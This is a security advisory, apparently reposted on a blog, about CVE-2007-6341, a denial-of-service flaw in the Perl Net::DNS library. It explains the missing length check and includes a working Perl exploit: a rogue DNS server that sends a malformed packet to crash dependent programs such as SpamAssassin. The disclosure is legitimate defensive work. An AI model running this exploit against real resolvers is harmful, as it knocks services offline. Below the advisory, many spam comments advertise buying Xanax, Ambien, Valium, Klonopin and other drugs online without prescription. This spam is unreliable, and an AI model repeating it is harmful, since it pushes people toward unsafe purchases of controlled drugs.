- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Net::DNS Malformed Packet DoS
------------------------------------------------------------------------
SUMMARY
<http://www.net-dns.org/> Net::DNS is "a DNS resolver implemented in
Perl. It allows the programmer to perform nearly any type of DNS query
from a Perl script". beSTORM's DNS Server module has been able to detect a
vulnerability in Net::DNS allows a malicious server to cause the Net::DNS
package to crash by sending it a malformed DNS response, this in turn
would cause any product using the package to crash with it.
DETAILS
Vulnerable Systems:
* Net::DNS version 0.60 build 654
It is possible to cause Net::DNS to "croak" by responding to it with a
malformed DNS response.
The croak itself doesn't allow you to overflow or execute arbitrary code,
but as it cannot be captured using normal Perl code - as with an eval()
function for example - a user of the Net::DNS package can be caused to
"crash", his program to forcefully terminate if it encounters this DNS
response.
The problem steams from the fact that:
if ($self->{"rdlength"} > 0) {
$self->{"address"} = inet_ntoa(substr($$data, $offset, 4));
}
found in Net/DNS/RR/A.pm
Doesn't properly verify that $$data has 4 bytes to read before attempting
to substr - which in turn causes the data sent to inet_ntoa to not have
enough bytes which causes this code:
ip_address = SvPVbyte(ip_address_sv, addrlen);
if (addrlen == sizeof(addr) || addrlen == 4)
addr.s_addr =
(ip_address[0] & 0xFF) << 24 |
(ip_address[1] & 0xFF) << 16 |
(ip_address[2] & 0xFF) << 8 |
(ip_address[3] & 0xFF);
else
croak("Bad arg length for %s, length is %d, should be %d",
"Socket::inet_ntoa", addrlen, sizeof(addr));
To issue a "croak" - causing the perl to abort.
Severity:
The vulnerability itself doesn't pose any problem as Socket::inet_ntoa
handles it as expected, seriousness of this vulnerability is caused by the
fact that several other packages such as SpamAssassin and OTRS rely on
Net::DNS for resolving hostnames - this could at the very least be a
nuisance where an attacker can crash the daemons run by these two
programs.
Vendor status:
We have reported this issue to Net::DNS 6 weeks ago:
<https://rt.cpan.org/Public/Bug/Display.html?id=30316> Security issue with
Net::DNS::Resolver, but no response has been received.
CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6341>
CVE-2007-6341
Exploit:
#!/usr/bin/perl
# Beyond Security(c)
# Vulnerability found by beSTORM - DNS Server module
use strict;
use IO::Socket;
my($sock, $oldmsg, $newmsg, $hisaddr, $hishost, $MAXLEN, $PORTNO);
$MAXLEN = 1024;
$PORTNO = 5351;
$sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp') or die
"socket: $@";
print "Awaiting UDP messages on port $PORTNO\n";
my $oldmsg =
"\x5a\x40\x81\x80\x00\x01\x00\x01\x00\x01\x00\x01\x07\x63\x72\x61".
"\x63\x6b\x6d\x65\x0a\x6d\x61\x73\x74\x65\x72\x63\x61\x72\x64\x03".
"\x63\x6f\x6d\x00\x00\x01\x00\x01\x03\x77\x77\x77\x0e\x62\x65\x79".
"\x6f\x6e\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f\x6d\x00".
"\x00\x01\x00\x01\x00\x00\x00\x01\x00\x04\xc0\xa8\x01\x02\x0e\x62".
"\x65\x79\x6f\x6e\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f".
"\x6d\x00\x00\x02\x00\x01\x00\x00\x00\x01\x00\x1b\x02\x6e\x73\x03".
"\x77\x77\x77\x0e\x62\x65\x79\x6f\x6e\x64\x73\x65\x63\x75\x72\x69".
"\x74\x79\x03\x63\x6f\x6d\x00\x02\x6e\x73\x0e\x62\x65\x79\x6f\x6e".
"\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f\x6d\x00\x00\x01".
"\x00\x01\x00\x00\x00\x01\x00\x01\x41";
while ($sock->recv($newmsg, $MAXLEN)) {
my($port, $ipaddr) = sockaddr_in($sock->peername);
$hishost = gethostbyaddr($ipaddr, AF_INET);
print "Client $hishost said ``$newmsg''\n";
$sock->send($oldmsg);
$oldmsg = "[$hishost] $newmsg";
}
die "recv: $!";
ADDITIONAL INFORMATION
The information has been provided by beSTORM.
The original article can be found at:
<http://www.beyondsecurity.com/bestorm_overview.html>
http://www.beyondsecurity.com/bestorm_overview.html
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
generic ambien buy ambien zoloft drug interactions - ambien side effects skin rash
ReplyDeletezolpidem online buy ambien online canada - zolpidem 10 mg erowid
ReplyDeletevalium cost valium und diazepam - valium no prescription overnight
ReplyDeletecheapest ativan ativan generic brand - ativan withdrawal death
ReplyDeletezolpidem high zolpidem 93 - ambien side effects anxiety attacks
ReplyDeletexanax online generic xanax canada - xanax withdrawal kills
ReplyDeletebuy diazepam diazepam order no prescription - diazepam buy spain
ReplyDeleteorder xanax valor alprazolam 0 5mg - xanax generic
ReplyDeleteorder lorazepam lorazepam 1mg mri - ativan recreational use
ReplyDeleteorder soma safe place buy soma online - carisoprodol a narcotic
ReplyDeleteambien price ambien dosage travel - ambien 74 pill
ReplyDeletecarisoprodol can order soma online legally - buy soma online no prescription cheap
ReplyDeletebuy valium online valium dosage 30 mg - valium pain pill
ReplyDeletecarisoprodol soma somanabolic muscle maximizer bodybuilding - filmes online soma todos medos
ReplyDeletebuy soma soma intimates printable coupon - best place buy soma online
ReplyDeletegeneric diazepam 5mg of valium and alcohol - buy valium online no prescription uk
ReplyDeletesoma cheap carisoprodol 350 mg side effects - buy somatropin pill form
ReplyDeleteambien online pharmacy buy ambien online from canada - difference between ambien cr zolpidem er
ReplyDeletebuy valium online valium no prescription - valium and anxiety
ReplyDeletegeneric soma soma 5 panel drug screen - carisoprodol erowid vault
ReplyDeletebuy soma online buy somatropin hgh online - buy generic soma online no prescription
ReplyDeletevalium no prescription needed valium price in pakistan - valium high description
ReplyDeleteonline ambien ambien strengths - go sleep ambien
ReplyDeletevalium price tramadol with valium high - valium 5mg bivirkninger
ReplyDeleteBlogger: Security World - Post a Comment ventolin online no prescription - buy ventolin online no prescription http://www.ventolinforsaleonline.com/#buy-ventolin-online-no-prescription
ReplyDeletedalsCleax cost of strattera - strattera online pharmacy http://www.stratterabestprice.com/#strattera-online-pharmacy
ReplyDelete2, finasteride no prescription - buy propecia online http://www.wheretobuymedsonline.com/propecia/], [url=http://www.wheretobuymedsonline.com/propecia/]buy propecia [/url]
ReplyDeletetfv maxalt 10 mg - generic maxalt http://www.maxaltonlinesale.net/#order-maxalt, [url=http://www.maxaltonlinesale.net/#order-maxalt]cheap maxalt [/url]
ReplyDelete2, purchase lasix no prescription - order lasix online no prescription http://www.lasixordernow.net/, [url=http://www.lasixordernow.net/]cheap lasix online [/url]
ReplyDelete4, provigil online pharmacy - generic provigil http://www.energyofprovigil.net/#provigil-online-pharmacy, [url=http://www.energyofprovigil.net/#buy-provigil]buy provigil[/url]
ReplyDelete1, [url=http://www.maxaltonlinehelp.net/]Buy Maxalt [/url] - Maxalt For Sale - buy maxalt online no prescription http://www.maxaltonlinehelp.net/.
ReplyDeleteaccutane for sale - generic accutane http://www.isotretinoinonsale.net/, cheap accutane
ReplyDelete11, [url=http://www.costofklonopin.com/]Generic Klonopin[/url] - Klonopin Medication - clonazepam online http://www.costofklonopin.com/ .
ReplyDelete14, [url=http://www.cymbaltaonlineorder.com/]Order Cymbalta Online[/url] - Order Cymbalta Online - cheap cymbalta online http://www.cymbaltaonlineorder.com/ .
ReplyDelete